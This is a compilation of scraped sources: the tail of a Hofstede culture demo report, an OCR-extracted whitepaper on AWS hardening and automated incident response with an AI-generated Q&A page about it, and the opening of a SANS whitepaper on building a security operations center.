they are poorly informed, there is a lot of second guessing, and the grape vine thrives. In this culture, people form in groups and exclude colleagues, which can lead to dysfunction. This dimension significantly influences the culture of open versus closed communication. D1, means versus goal-orientation, also influences the degree of open or closed communication. In other words, certain combinations of D1, means versus goal-orientation, and D5, open versus closed communication, comprise a sub-dimension defined by the scores on D1 and D5. This aspect of a culture is most related to employee satisfaction, as our research shows that employees prefer an open culture. Yet, senior leaders will sometimes opt for a more closed culture, for example, to avoid industrial espionage or to secure sensitive information. D5: Approachability Open system Closed system 0 50 100 Internal normative window Unit of Demo Company15.11.2016 ©The hofstede centre Page 39/41D6: MANAGEMENT PHILOSOPHY D6, employee versus work orientation, is most tied to the leadership philosophy of top executives, since they create a vision for the culture and set the tone through their actions and behaviors. This dimension opposes a concern for people to a concern versus completing the job, whatever the price may be. In an very employee-oriented culture people feel that managers care about personal problems and that the organization shares responsibility for the welfare of its employees, sometimes at the expense of the work. In a very work-oriented culture there is intense pressure to perform the task regardless of the cost to employees. This aspect of a culture is most related to employee satisfaction, as in the case of D5, open versus closed system. Our research shows that employees prefer an employee-oriented culture, unless they are extremely ambitious or driven, as in the case of a highly committed sales force that strives to achieve its targets at all costs. Often management will create a culture scoring more work-oriented than people prefer, as putting people under pressure is often confused with creating a culture which motivates people to work hard. See par. 2.1. A work-oriented culture may be functional when a challenging situation confronts the organization and/or if employees are very ambitious or driven. D6: Management philosophy Employee-oriented Work-oriented 0 50 100 Internal normative window Unit of Demo Company15.11.2016 ©The hofstede centre Page 40/416.3Normative Windows An internal normative window has a fixed size and represents dysfunctional characteristics of a culture in absolute terms. “Absolute” means that these characteristics are always dysfunctional regardess of your context and requirements. In the case of D1, three out of nine questions comprising this dimension have a normative character. In the case of D1, dysfunctional characteristics include: •People playing disruptive political games •People who do not follow through with what they say and promise •Scapegoating those who didn’t do anything wrong If your actual culture is positioned somewhere between 0 to 35, you are in the danger zone, regardless of the type of organization you need to be. Next to internal normative windows, having a fixed size, we have identified external normative windows. External normative windows have a maximum but not a fixed size. For example, external windows may be smaller than the maximum size depending on the environment in which your culture is embedded. The external window will limit the area in which your optimal subculture can be positioned. Unit of Demo Company15.11.2016 ©The hofstede centre Page 41/41Disclaimer This report was generated using answer pattern analysis and reporting software of itim International. Itim International shall not, under any circumstances, be liable for any damages, direct, indirect or consequential, arising from or related to the use of the content in the present document and regarding advice given by third parties based on the results presented in this report. The use of this material is at your own discretion only. --- ## Source: https://montance.com/questions.php?id=40 [![pdf](content/images/icons/pdf.svg) Cultural Dimensions HofstedeOCS Pro Demo Report.pdf](https://drive.google.com/file/d/0B9l-G6EuipZgU09xWnh4QUdZQ1E/view?usp=sharing) Cultural Dimensions Hofstedeocs Pro Demo Report Resource covering Culture titled 'Cultural Dimensions Hofstedeocs Pro Demo Report'. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. ## Be the first to ask a question! ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/0B9l-G6EuipZgR21YWXJxSU1BV2c/view?usp=sharing **[PDF Extracted from Google Drive: https://drive.google.com/file/d/0B9l-G6EuipZgR21YWXJxSU1BV2c/view?usp=sharing]** Hardening AWS Environments and Automating Incident   Response for AWS Compromises   Abstract       Incident response in the c loud is performed differently than when performed in on­premise   systems. Specifically, in a  cloud environment, a responder can not walk up to the physical   asset, clone the drive wit h a write­blocker, or perform any action that requires hands on time   with the system in questio n. Incident response best practices advise following predefined   practiced procedures whe n dealing with a security incident, but organizations moving   infrastructure to the cloud  may fail to realize the procedural differences in obtaining forensic   evidence. Furthermore, wh ile cloud providers produce documents on handling incident   response in the cloud, these  documents may fail to address the newly released features or   services that can aid incide nt response or help harden cloud infrastructure.     This paper covers AWS API s and services that can be leveraged to increase an incident   response procedure. Addi tionally, we introduce a suite of four, newly released, and open source   tools we wrote to demonst rate how programmatic use of the AWS API can be used to augment   many areas of the incident  response process. Finally, we discuss other open source tools and   illustrate techniques to use  several tools in order to augment each area of the incident response   process.   Authors & Contri butors   Andrew Krug ​  is a Senior  Software Engineer at a large cyber security company. Krug has been   Consultant, Network Archi tect, Systems Administrator, Operations Manager, Technical Trainer,   and Software Engineer. Cu rrently Krug works to develop gamified security education through   security simulation scena rios.     Alex McCormack ​  is a software developer who assists in the design and implementation of   capture the flag (CTF) comp etitions and training events. Alex has designed CTF challenges   since 2013 and given trai ning since 2012. Prior to developing CTFs, Alex worked in Incident   Response and Malware A nalysis.     Joel Ferrier ​  is the creato r of Margarita Shotgun.  Joel currently works as a Systems   Administrator.  Previously  Joel worked as a Systems Engineer with a focus in Security   Operations.     Jeff Parr ​  is the Frontend  Guru for the project.  He has been developing web technologies for   over 15 years; primarily R ails for the last 5. Parr claims, "I love seeing people use what I build."   Parr has been a subcontr actor through engineering/design firms, innovation consultant, and   more; specializing in pairi ng, reviewing code, and contributing to open source.   Incident Response  in AWS   At first glance, incident resp onse within AWS may appear more challenging than incident   response in an on­premis e environment. Not only are servers not physically available, but   techniques associated wi th virtual machines such as taking a full disk and memory snapshot are   not available.     However, by leveraging t he APIs provided by AWS, organizations can prepare themselves to   automatically collect evide nce and mitigate compromises of AWS instances. Before   implementing such a solu tion, the organization should understand what preparations need to be   made, mitigations need to  be performed, and what evidence needs to be collected.   Preparing for an Inc ident within AWS   Before an incident ever occu rs, an organization should ensure it is in the best possible place to   deal with an incident. Two  areas an organization should address include strengthening   defenses to reduce the at tack surface, and increasing visibility to detect, understand, and   prevent future attacks. AW S has several services to aid in these objectives including   CloudWatch, CloudTrail, C onfig and IAM.     CloudWatch is a monitorin g service that can be used to monitor metrics of AWS resources or   even custom metrics supp lied by an organization’s own applications. Alarms can be placed on   these metrics so that if a  threshold is exceeded, an action is taken such as sending a   notification or even termina ting a resource. One of the most common alarms is one that watches   the estimated charges of  an AWS account. An estimated charge alarm is useful for detecting   scenarios where an IAM ke y is compromised, and used to spin up many resources. Default   metrics include attributes  of EC2 instances, S3 buckets, and several other AWS resources.     “The forensic value of CloudTrail Logs can not be understated.”   CloudTrail is an AWS servi ce that records data about AWS API calls. The API calls may come   from the AWS Manageme nt console, AWS CLI or AWS SDK. For each call made, the record will   contain the time of the ca ll, IAM identity of the user making the call, the source IP address of the   call, the request paramete rs and the response elements returned. The forensic value of these   logs can not be understat ed. In the event of an IAM compromise, CloudTrail could be the only   source indicating what act ions an attacker took. You can even use CloudWatch to monitor the   number of incoming event s logged to a trail. This is especially useful in environments where   AWS changes are relative ly minimal, and an alert should be sent if several API calls are made   in a short period of time.     AWS Config provides logg ing configuration details, called  a “configuration item” for supported   AWS resources wheneve r that resource is created, deleted, or changed. The configuration item   represents state informati on about the resource. For example, a configuration item would   include things like the reso urce identifier, the contents of key­value tags, the availability zone of   the object and information  about related objects such as attached volumes for an EC2 instance.       AWS Config Rules is a d istinct offering from Config. Config Rules is responsible for evaluating   the configuration item aga inst a set of predefined criteria and then alerting AWS users if that   criteria is not met. AWS p rovides a set of default configurable rules users may use, as well as   the ability to make custom  rules and integrate with AWS Lambda. Lambda, a service that runs   code as a service, can be  used to take programmatic steps to remediate misconfigurations that   have been identified with  AWS Config. AWS Config provides a powerful historical view of the   configuration state of AW S resources most organizations should enable even if they choose not   to leverage the Rules cap ability.     The Identity and Access Ma nagement or IAM service allows delegating specific permissions to   individual users. IAM users  can also be created for specific services such as running on an EC2   instance or granting perm issions to a Lambda function. With IAM, an organization can attach   policies to an IAM user tha t allow specific access for particular AWS resources. Organizations   should monitor these acco unts using the  ​ IAM Access Advisor ​ .  Access Advisor will show the   services for which a particu lar user has access, and will report the last time that user accessed   that service. The organiz ation can then decide to remove access to services that the user has   not used.     IAM also includes a role m echanism that allows an instance to assume the privileges of an IAM   user at runtime. Once a r ole is attached to an instance, the instance will be granted the   permissions of an IAM use r by obtaining credentials from the AWS Security Token Service. The   tokens are automatically  rotated every 15 or so minutes.     Mitigations to Perform   In March of 2016, Toni de  la Fuente wrote a  ​ blog post ​  detailing steps to perform using the AWS   command line utility in or der to collect evidence and mitigate a compromise. The mitigations   included isolation, tagging , and shutting down an instance.     Isolation consists of crea ting a security group with exceptionally prohibitive access rules.   Outbound traffic should be  blocked completely, and inbound traffic should only be allowed by   the specific IP address of  the examiner.     The instance should then  be tagged with a case number for record keeping and to alert other   users that this instance s hould be treated with care. Evidence is then collected and the instance   is shut down.   Evidence to Collect   Two of the most informati ve pieces of evidence to collect during an incident are disk and   memory images. Disk im age preservation is important because the disk of a compromised host   may contain host specific  logs detailing what happened, copies of malware, or other artifacts left   by an attacker. Some atta ckers will alter the code of web applications to insert back doors, or   collect sensitive data. Wi thout forensic disk data, it may be impossible to determine what an   attacker did after gaining  access to the system.     Memory analysis is increa singly becoming a critical technique for forensic investigations.   Memory analysis can be  used to collect malware that may have been deleted from the disk, or   never written to the disk in  the first place. Memory analysis can be used to collect commands   typed into a shell, discover  programs hidden by rootkits, and much more.     In addition to disk and me mory evidence, there are many AWS specific data points that may aid   in an investigation. Metad ata of an instance will reveal the public and private IP addresses of an   instance, and the associat ed security groups. Console output and console screen shots may   provide debugging messag es from crashed services. VPC Flow logs may illustrate where an   attack came from, and the  destination of exfiltrated data. Finally, logs from CloudTrail may   provide insights into action s performed by IAM users.   Automating IR wi th ThreatResponse Tools   Nothing can make handlin g an incident more frustrating than not having a plan to follow. Without   a plan, responders may acci dentally delete or fail to collect important evidence and inadequately   remove access from the a ttacker. This could lead the responder to fail to understand what   happened, and therefore  prevent the attacker from getting back in.     “An incident response plan can reduce the stress of an incident. ”   Having an incident respon se plan can greatly reduce the stress of responding to an incident.   Responders can walk thr ough the plan and know they are doing the right thing. However,   following the plan still intr oduces the risk of human error, as a responder may skip a step or   perform sensitive data acq uisitions out of order.     By automating the collecti on of evidence and compromise mitigations, organizations can be fully   prepared should a compr omise occur. To help organizations with this automation, we are   releasing four distinct tool s that demonstrate how to automatically prepare, collect evidence and   mitigate compromises. Th ese tools are available at  ​ www.threatresponse.cloud ​ .     Margarita Shotgun:  Capturing Memory from AWS Instances     Margarita Shotgun is a py thon module and a standalone command line tool that automates the   process of acquiring memo ry from remote systems, both on premise and in Amazon Web   Services.  Margarita Sho tgun makes heavy use of  ​ paramiko ​  to securely connect to remote   systems and secure memo ry in transit between the compromised server and the incident   responder workstation.     Margarita Shotgun makes  use of  ​ LiME ​  to capture memory. A configurable repository of prebuilt   LiME kernel modules is a vailable to streamline the memory acquisition process.     After determining the rem ote system's kernel version and architecture the appropriate LiME   kernel module is loaded a nd system memory is streamed over an ssh tunnel to the incident   responder's workstation.   Memory can be saved to disk or streamed directly to an s3 bucket.     Memory acquisitions are p erformed in parallel with the help of Python's multiprocessing library,   decreasing the period tha t compromised instances must be left running.   AWS­IR: Automatic  Evidence Collection and Mitigation     AWS­IR is a python modu le and standalone command line tool that can be used to collect   evidence, mitigate compro mises, or start an AWS specific incident response workstation. The   command line tool has thre e subcommands:  ​ host_compromise ​ ,  ​ key_compromise ​  and   create_workstation ​ .     AWS­IR is built on top of  ​ boto3 ​ , an AWS SDK for the python language. In order to use AWS­IR,   a user should  ​ set up ​  their environment for use with the AWS SDK or have the appropriate   credentials in place.     When using one of the comp romise commands, AWS­IR collects evidence and tags instances   according to a case numbe r. The case number can be provided with the  ​ ­n ​  flag, and if one isn't   provided, a case number  will be randomly assigned. The case is the basic organization of   evidence and logging for a  particular incident. All evidence collected by AWS­IR is stored in an   S3 bucket for that specific  case. Additionally, every action performed by AWS­IR is logged and   stored with the case.             AWS­IR: Automatic Response to a Host Compromise   When the  ​ host_compro mise ​  subcommand is used, AWS­IR starts collecting evidence and   then mitigates the affecte d host. To use the  ​ host_compromise ​  command, the user only   needs to provide an IP ad dress. An SSH username with root privileges and SSH key should   also be provided if that inf ormation is available as this information is used to facilitate memory   collection.     Once the host compromise  command is initialized, AWS­IR will start mitigating the compromised   host by attaching a new, h ighly restrictive security group to the instance. This is designed to   sever any existing session  an attacker may have and stop the exfiltration of data. AWS­IR will   then snapshot all attached  volumes, attempt to capture memory, collect metadata about the   instance, grab console out put and save a console screenshot. After the evidence has been   collected, AWS­IR will sh utdown the instance and provide the case number.     AWS­IR: Automatic Response to a Key Compromise   When the  ​ key_comprom ise ​  subcommand is used, the user must provide the AWS access key   id of the compromised key.  AWS­IR will locate the IAM account associated with the key and   disable the key. The  ​ key_compromise ​  subcommand should be used with the  ​ ­c ​  flag to   automatically create a workst ation so the user can perform more analysis to see what actions   may have been taken wit h the compromised key.     Users can load the evide nce of a case into an incident response workstation by using the   create_workstation ​  subcommand. Additionally, by specifying the  ​ ­c ​  flag, with either of the   compromise subcomman ds, a workstation will automatically be created for the responder.   ThreatResponse­We b: An Incident Response Workstation for AWS     ThreatResponse­Web is  an incident response workstation, packaged as an AMI, that   demonstrates pipelining mu ltiple open source tools to both analyze the collected evidence, or   collect additional evidence  from other instances. After connecting to the workstation, a   dashboard is displayed. Th e dashboard will illustrate the AWS regions instances are running in,   recently launched instanc es, and the different types of AMIs those instances are running.     From the workstation a re sponder can take advantage of a full­text search to find other   instances by AMI­ID, IP a ddress or availability zone. If the responder determines another   instance needs to be proce ssed, that instance can be added to the case right from the   workstation. When an inst ance is added to a case, either from inside the workstation or within   AWS­IR, the workstation p rovides memory, disk, and configuration analysis capabilities.     Analysis with ThreatResponse­Web   The memory view allows  the responder to analyze a memory dump using the  ​ volatility ​  memory   forensics framework. By l everaging a Javascript terminal, a volatility shell is provided inside the   workstation. This allows t he full feature set of volatility, and results can be copied and pasted   out of the shell.     The disk analysis view le verages a full data analysis pipeline to automatically process the disk   images collected.  When a  disk is analyzed, an EC2 instance is created and the snapshot of   that disk is mounted as a  volume to that instance. Plaso's  ​ Log2Timeline ​  is then run on the   attached volume to collect  well formatted log files into a single  ​ .plaso ​  file. Finally,  ​ TimeSketch   reads the file to present a  web view to the responder for further inspection. By leveraging AWS,   multiple disks can be pro cessed in parallel.     Finally, a view is availabl e for an interactive configuration checking tool called ThreatPrep.   ThreatPrep: Prepari ng Your Environment for Optimal Evidence Collection.     ThreatPrep is a tool to ex amine an AWS environment with two main objectives. Firstly, identify   areas where the security p osture could be increased and secondly, identify areas where the   amount of forensic evidence  could be increased.       ThretPrep has many built  in checks, including ensuring each S3 bucket has versioning and   logging enabled and pub lic reading or writing has been disabled. It checks each IAM user to   ensure Multi­Factor Auth entication has been enabled and that credentials have recently been   rotated. It also checks each  IAM user to ensure it is not attached to the AdministratorAccess   policy. It will check each  VPC to ensure flow logs have been enabled, ensure a CloudWatch   alarm is set for Estimated  Cost, and ensure roles and a multi­regional CloudTrail is enabled.     ThreatPrep can be used e ither from a command line, or used in a python project. In fact, the   ThreatResponse­Web pro ject includes output from ThreatPrep in the advice section.     ThreatPrep offers similar  advice as AWS Trusted Advisor. Trusted Advisor is only available with   a costly service plan. Furt her, Trusted Advisor can not be accessed programmatically. Because   ThreatPrep can be used p rogrammatically, it is easy to extend it to add additional checks or   whitelist resources.  Thre atPrep also shares similarities to AWS Config Rules, discussed above.   However AWS Config Ru les are not yet available in every AWS region and each rule costs two   dollars per month per rule,  and possibly more depending on how many times the rule is   evaluated. The cost of the  rules may make it prohibitive to smaller organizations who are price   sensitive.     Additional Open  Source Tools   In addition to the ThreatR esponse tools discussed above and the built in AWS services like   CloudTrail or Config and,  organizations should also consider increasing their incident response   process with other open s ource tools. Two of the larger open source projects in this area are   Netflix’s Security Monkey  and Capital One’s Cloud Custodian. Organizations can get a better   idea of which tools they sh ould use by considering where these tools can be used to augment   the incident response proce dure. The following graphic explains where each tool can augment a   particular area of the incid ent response workflow.           Netflix is continuously rel easing updates to ​  Simian Army ​ , which is a set of tools focused on   many performance and c ompliance areas within cloud environments. One member of Simian   Army is  ​ Security Monkey ​ , which is described as a tool that “monitors policy changes and alerts   on insecure configurations  in an AWS account”.  For organizations wanting to try Security   Monkey, Netflix recomme nds using their  ​ quick start docker container ​ , and while it is not   considered currently read y for production use, it will help organizations get started more quickly.       Cloud Custodian ​  is an open source rules engine for managing an AWS environment. It   describes itself as “[allowi ng] users to define policies to enable a well managed cloud   infrastructure, that's both  secure, and cost optimized”. The policies are written in YAML   configuration files for speci fic AWS resource types. Cloud Custodian integrates with lambda and   cloudwatch events to valid ate and verify policies as changes are made to an AWS account.   Cloud Custodian is a relat ively new tool, being open sourced in April of 2016, but does appear   to help address areas in co mpliance and continuous monitoring.     A variety of tools should b e used in order to enhance the incident response workflow. But   picking the right set of tool s for a particular environment can be challenging. Organizations   should arrange their enviro nments to encourage experimentations and evaluations of the   various tools to determine  what works best for their environment.   Recommendations  for Augmenting Incident Response     As organizations move to wards an automated incident response process, they should consider   separating their environm ents into multiple AWS accounts, building a continuous integration   culture around their IR too ling, and utilizing Incident Response game days or security   simulations.       Separate environments for  testing, development, and production can be created by using   multiple AWS accounts w ith  ​ consolidated billing ​ . There are several high impact benefits to   implementing environment s in this manner. One advantage is that separating environments into   multiple accounts allow the  engineers or developers running that account to focus on the areas   that most affects them. Th is separation of concerns can be empowering, as engineers   understand that they can  take risks and try new ideas without affecting the entire operation of   the company. This allows  and encourages testing and perfecting automatic responses to   misconfigurations or instru ctions.       After separate environme nts are created, an organization should dedicate time to continuously   improving their incident re sponse tooling. These tools should be tested in the test and staging   environment before being  pushed into production. Even though many of the tools being utilized   may be one­off scripts or  not feel like “real” software projects, the authors should still maintain   documentation, a bug tra cker, and source code management. Encouraging security engineers   to follow software develop ment best practices will assist in avoiding technical debt around aging   automated incident respon se tooling.     Finally, organizations sho uld test their tooling with incident response game days or security   simulations. Incident Resp onse game days are exercises that allow the security team to practice   how the organization woul d respond, should an incident occur. Generally speaking, a small set   of employees are designa ted as the “red” team, and are supposed to see how far they can get   into the organization’s sy stems before the blue team discovers and stops them. Some   organizations let their blu e team know about the testing, and others keep them in the dark.   Organizations may also “ skip ahead”, by disclosing an IAM access key to one of the red team   members at the start of the  exercise. This allows the security team to scope the assessment as   understanding what woul d happen if a key were compromised. It should be noted that AWS   does allow for incident resp onse game days or security simulations but ​  the terms of service   require advanced notice  of the event. For more information on how to host a successful security   simulation, check out the  AWS re:Invent talk “ ​ AWS re:Invent 2015 | (SEC316) Harden Your   Architecture w/ Security I ncident Response Simulations ​ ”.   Help Improve Thr eatResponse   The ThreatResponse tea m encourages anyone interested in developing or providing feedback   to  ​ connect with us on GitH ub ​  or send us an email at  ​ info@threatresponse.cloud ​ .   References and Rel ated Work   ➢ AWS re:Invent 201 5 | (SEC316) Harden Your Architecture w/ Security Incident   Response Simula tions   ○ https://ww w.youtube.com/watch?v=u­mRU44Q5u4   ➢ AWS Policy for Pen etration Testing and Security Game Days   ○ https://aws .amazon.com/security/penetration­testing/   ➢ Boto3 python mod ule for AWS SDK   ○ http://boto 3.readthedocs.io/en/latest/   ➢ Cloud Custodian   ○ https://gith ub.com/capitalone/cloud­custodian   ➢ Forensics in AWS,  an introduction   ○ http://blyx.co m/2016/03/11/forensics­in­aws­an­introduction/   ➢ Installing the AWS  SDK   ○ http://docs .aws.amazon.com/cli/latest/userguide/installing.html   ➢ LiME Linux Memory  Extractor     ○ https://gith ub.com/504ensicsLabs/LiME   ➢ Log2timeline Proje ct   ○ https://gith ub.com/log2timeline/plaso   ➢ Paramiko Python SSH  Module   ○ https://gith ub.com/paramiko/paramiko   ➢ Remove Unnecessa ry Permissions in Your IAM Policies by Using Service Last   Accessed     ○ https://blog s.aws.amazon.com/security/post/Tx280RX2WH6WUD7   ➢ Security Monkey   ○ https://gith ub.com/Netflix/security_monkey   ➢ Security Monkey  Docker Installation   ○ https://gith ub.com/Netflix­Skunkworks/zerotodocker/wiki/Security­Monkey   ➢ Simian Army   ○ https://gith ub.com/Netflix/SimianArmy   ➢ ThreatResponse   ○ http://www. threatresponse.cloud   ➢ ThreatResponse,  GitHub     ○ https://gith ub.com/ThreatResponse   ➢ TimeSketch     ○ https://gith ub.com/google/timesketch   ➢ Volatility Memory F orensics   ○ http://www. volatilityfoundation.org/   --- ## Source: https://montance.com/questions.php?id=39 [![pdf](content/images/icons/pdf.svg) us-16 Krug Hardening AWS Environments.pdf](https://drive.google.com/file/d/0B9l-G6EuipZgR21YWXJxSU1BV2c/view?usp=sharing) US 16 Krug Hardening AWS Environments Presentation on hardening AWS environments and performing cloud incident response. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: How does 'Serverless' architecture change the incident response paradigm? A: It eliminates the ability to perform traditional disk forensics (no persistent OS), forcing reliance on logs and API activity data. * Q: What specific AWS service is identified as critical for 'Post-Mortem' analysis? A: CloudTrail, as it provides the immutable record of all API calls made within the environment. * Q: What is the operational benefit of 'Automated Forensics' in the cloud? A: The ability to automatically snapshot, isolate, and analyze a compromised instance immediately upon detection, preserving volatile evidence. * Q: How does 'MFA Delete' contribute to data resilience? A: It prevents an attacker (even with compromised credentials) from permanently deleting S3 backups without a second factor. * Q: What is the 'Shared Responsibility' implication for logging? A: AWS ensures the availability of the logging service (CloudTrail), but the customer is responsible for configuring it, retaining the logs, and analyzing them. * Q: How can 'VPC Flow Logs' be utilized for threat hunting? A: They provide visibility into network traffic patterns \*within\* the cloud environment, allowing detection of lateral movement between instances. * Q: What is the security value of 'IAM' roles over long-term access keys? A: Roles use temporary credentials that rotate automatically, reducing the impact of credential theft compared to static keys. * Q: What is the 'Immutable Infrastructure' concept mentioned? A: Replacing compromised instances with fresh ones rather than patching/fixing them, ensuring a clean state and destroying persistence. * Q: How does the 'ThreatResponse-Cloud' tool aid analysts? A: It automates the collection of evidence and containment actions (e.g., security group isolation) via API, speeding up response. * Q: What is the specific challenge of 'Physical Access' in cloud IR? A: You cannot physically disconnect a server or pull a hard drive; all containment and acquisition must be done logically via software/API. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/0B9l-G6EuipZgdGZ3SmY5eHBJSm8/view?usp=sharing **[PDF Extracted from Google Drive: https://drive.google.com/file/d/0B9l-G6EuipZgdGZ3SmY5eHBJSm8/view?usp=sharing]** Building a World-Class Security Operations Center: A Roadmap ©2015 SANS™ InstituteA SANS Whitepaper Written by Alissa Torres May 2015 Sponsored by RSA SANS ANALYST PROGRAM Building a World-Class Security Operations Center: A Roadmap2 If you are reading this paper your most pressing concern undoubtedly is protecting your organization’s intellectual property and sensitive customer data. Highly visible breaches and attacks have brought an intense focus on organizations’ incident detection, investigation and mitigation capabilities. After all, if you can’t prevent a security incident, you had better be able to detect and respond to it quickly. But just increasing security spending does not guarantee more protection. Achieving the goal of better security depends on how that budget is allocated; what people, procedures and infrastructure are put into place; and how the security program is managed and optimized over the long term. For organizations without a formalized incident-handling capability, the creation from scratch of a security operations center that enables centralized visibility, alerting and investigation can be a daunting task. But fortunately organizations don’t need a room full of security experts and an investment of millions of dollars in security systems to make progress here. In this paper we look at how to develop an effective security operations center (SOC) and provide a roadmap for continuously evolving this capability to keep pace with the tactics of the adversaries.Investing in Security Percentage of respondents to the 2014 SANS Incident Response Survey who reported that no portion of their organization’s security budget is currently allocated to incident response1 30% Creating the Roadmap Because you can’t build a world-class security operations center (SOC) overnight no matter how much money you are willing to invest, the task is more of a marathon than a sprint. Creating a plan for incremental phases of implementation is critical to success. But what goes into such a roadmap? What comes first and what next? The goal of planning should be to execute regular incremental improvements based on your completed gap analysis and to establish a series of prioritized milestones that lead the organization toward optimized security and improved incident detection and response. The gaps you uncover in that analysis can be translated into goals. Budget, personnel and cultural constraints require that new processes and technologies be implemented in stages. 1 www.sans.org/reading-room/whitepapers/incident/incident-response-fight-35342 SANS ANALYST PROGRAM Building a World-Class Security Operations Center: A Roadmap3 Once you’ve identified what you need, what will work in your organization’s culture and the way to get there, it is important to realize that building a SOC requires collaboration and communication among multiple functions (people), disparate security products (technology), and varying processes and procedures (processes), as shown in Figure 1. People Your organization may have employees ready to step in to fill the role of incident responders and SOC analysts, or it may need to evaluate other options, such as outsourcing (via managed security service providers, or MSSPs) or contracting specialists to provide surge incident response (IR) support. For some security teams, a hybrid mix of these options works well. According to the 2014 SANS Incident Response survey,2 61% of respondents call upon surge staff to handle critical incidents and 58% have a dedicated response team. It is clear that organizations rarely cover incident response needs completely with in-house staff or completely outsource it. Regardless of your staffing structure, SOC staff must have the necessary training to deal with the constantly changing and often quite challenging job of a security analyst, incident investigator, subject matter expert or SOC manager (see Table 1). Figure 1. Building Blocks of a SOCSOCPeople Technology ProcessFormal Training Internal Training Endpoin tPreparation Identi/f_ication Containmen t EradicationRecove ryLessons LearnedNet/f_lo w Netw ork MonitoringForensicsIncident Detec tion/ Managemen t Threat IntelVendor-Speci/f_ic TrainingOn-the -Job Experienc eTriad of Security Operations: People, Process and TechnologyBuilding a Security Operations Center 2 www.sans.org/reading-room/whitepapers/incident/incident-response-fight-35342 SANS ANALYST PROGRAM Building a World-Class Security Operations Center: A Roadmap4 Building a Security Operations Center (CONTINUED) Table 1. SOC Duties and Training Needs Job Title Duties Required Training Tier 1 Alert AnalystContinuously monitors the alert queue; triages security alerts; monitors health of security sensors and endpoints; collects data and context necessary to initiate Tier 2 work.Alert triage procedures; intrusion detection; network, security information and event management (SIEM) and host- based investigative training; and other tool-specific training. Certifications could include SANS SEC401: Security Essentials Bootcamp Style. Tier 2 Incident ResponderPerforms deep-dive incident analysis by correlating data from various sources; determines if a critical system or data set has been impacted; advises on remediation; provides support for new analytic methods for detecting threats. Advanced network forensics, host-based forensics, incident response procedures, log reviews, basic malware assessment, network forensics and threat intelligence. Certifications could include SANS SEC501: Advanced Security Essentials - Enterprise Defender; SANS SEC503: Intrusion Detection In-Depth; SANS SEC504: Hacker Tools, Techniques, Exploits and Incident Handling. Tier 3 Subject Matter Expert/ HunterPossesses in-depth knowledge on network, endpoint, threat intelligence, forensics and malware reverse engineering, as well as the functioning of specific applications or underlying IT infrastructure; acts as an incident “hunter, ” not waiting for escalated incidents; closely involved in developing, tuning and implementing threat detection analytics.Advanced training on anomaly- detection; tool-specific training for data aggregation and analysis and threat intelligence. Certifications could include SANS SEC503: Intrusion Detection In-Depth; SANS SEC504: Hacker Tools, Techniques, Exploits and Incident Handling; SANS SEC561: Intense Hands-on Pen Testing Skill Development; SANS FOR610: Reverse-Engineering Malware: Malware Analysis Tools and Techniques. SOC Manager Manages resources to include personnel, budget, shift scheduling and technology strategy to meet SLAs; communicates with management; serves as organizational point person for business-critical incidents; provides overall direction for the SOC and input to the overall security strategy.Project management, incident response management training, general people management skills. Certifications include CISSP , CISA, CISM or CGEIT. SANS ANALYST PROGRAM Building a World-Class Security Operations Center: A Roadmap5 In addition to SOC analysts, a security operations center requires a ringmaster for its many moving parts. The SOC manager often fights fires, within and outside of the SOC. The SOC manager is responsible for prioritizing work and organizing resources with the ultimate goal of detecting, investigating and mitigating incidents that could impact the business. A typical SOC organization is illustrated in Figure 2. The SOC manager should develop a workflow model and implement standardized operating procedures (SOPs) for the incident-handling process that guides analysts through triage and response procedures. Processes Defining repeatable incident triage and investigation processes standardizes the actions a SOC analyst takes and ensures no important tasks fall through the cracks. By creating repeatable incident management workflow, team members’ responsibilities and actions from the creation of an alert and initial Tier 1 evaluation to escalation to Tier 2 or Tier 3 personnel are defined. Based on the workflow, resources can be effectively allocated. One of the most frequently used incident response process models is the DOE/CIAC model, which consists of six stages: preparation, identification, containment, eradication, recovery and lessons learned. In addition, NIST SP800-61 Revision 2, “Computer Security Incident Handling Guide”3 provides excellent guidance in developing IR procedures.Building a Security Operations Center (CONTINUED) Figure 2. Organization of the SOC3RD LEVEL2ND LEVEL1ST LEVEL SOC ManagerSME/ Hunter (Threat Intel) SME/ Hunter (Endpoint )SME/ Hunter (Malware RE )SME/ Hunter (Network) Tier 2 Incident Responde rTier 2 Incident Responde r Tier 1 Alert AnalystTier 1 Alert Analyst Frontline sTier 1 Alert AnalystFrontline sTier 1 Alert AnalystSecurity Operations Center: Organization Chart 3 http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP .800-61r2.pdf SANS ANALYST PROGRAM Building a World-Class Security Operations Center: A Roadmap6 Technology An enterprisewide data collection, aggregation, detection, analytic and management solution is the core technology of a successful SOC. An effective security monitoring system incorporates data gathered from the continuous monitoring of endpoints (PCs, laptops, mobile devices and servers) as well as networks and log and event sources. With the benefit of network, log and endpoint data gathered prior to and during the incident, SOC analysts can immediately pivot from using the security monitoring system as a detective tool to using it as an investigative tool, reviewing suspicious activities that make up the present incident, and even as a tool to manage the response to an incident or breach. Compatibility of technologies is imperative, and data silos are bad—particularly if an organization has an existing security monitoring solution (SIEM, endpoint, network or other) and wants to incorporate that tool’s reporting into the incident management solution (see Figure 3). Adding Context to Security Incidents The incorporation of threat intelligence, asset, identity and other context information is another way that an effective enterprise security monitoring solution can aid the SOC analyst’s investigative process. Often, an alert is associated with network or host-based activity and, initially, may contain only the suspicious endpoint’s IP address. In order for Network Flows Network TrafficSecurity Events Identity/ Asset ContextEndpoint Data System LogsThreat Intel Feeds SECURITY MONIT ORING SYSTEM Figure 3. Compatible Technologies Aid DetectionData Aggregation for Improved Incident Handling Visibility. By centralizing these various sources of data into a security monitoring system, the SOC gains actionable insight into possible anomalies indicative of threat activity. Action. Based on findings, automated and manual interventions can be made to include patching, firewall modification, system quarantine or reimage, and credential revocation.Analysis. Security operations analysts can analyze data from various sources and further interrogate and triage devices of interest to scope an incident. Building a Security Operations Center (CONTINUED) SANS ANALYST PROGRAM Building a World-Class Security Operations Center: A Roadmap7 the SOC analyst to investigate the system in question, the analyst generally needs other information, such as the owner and hostname of the machine or 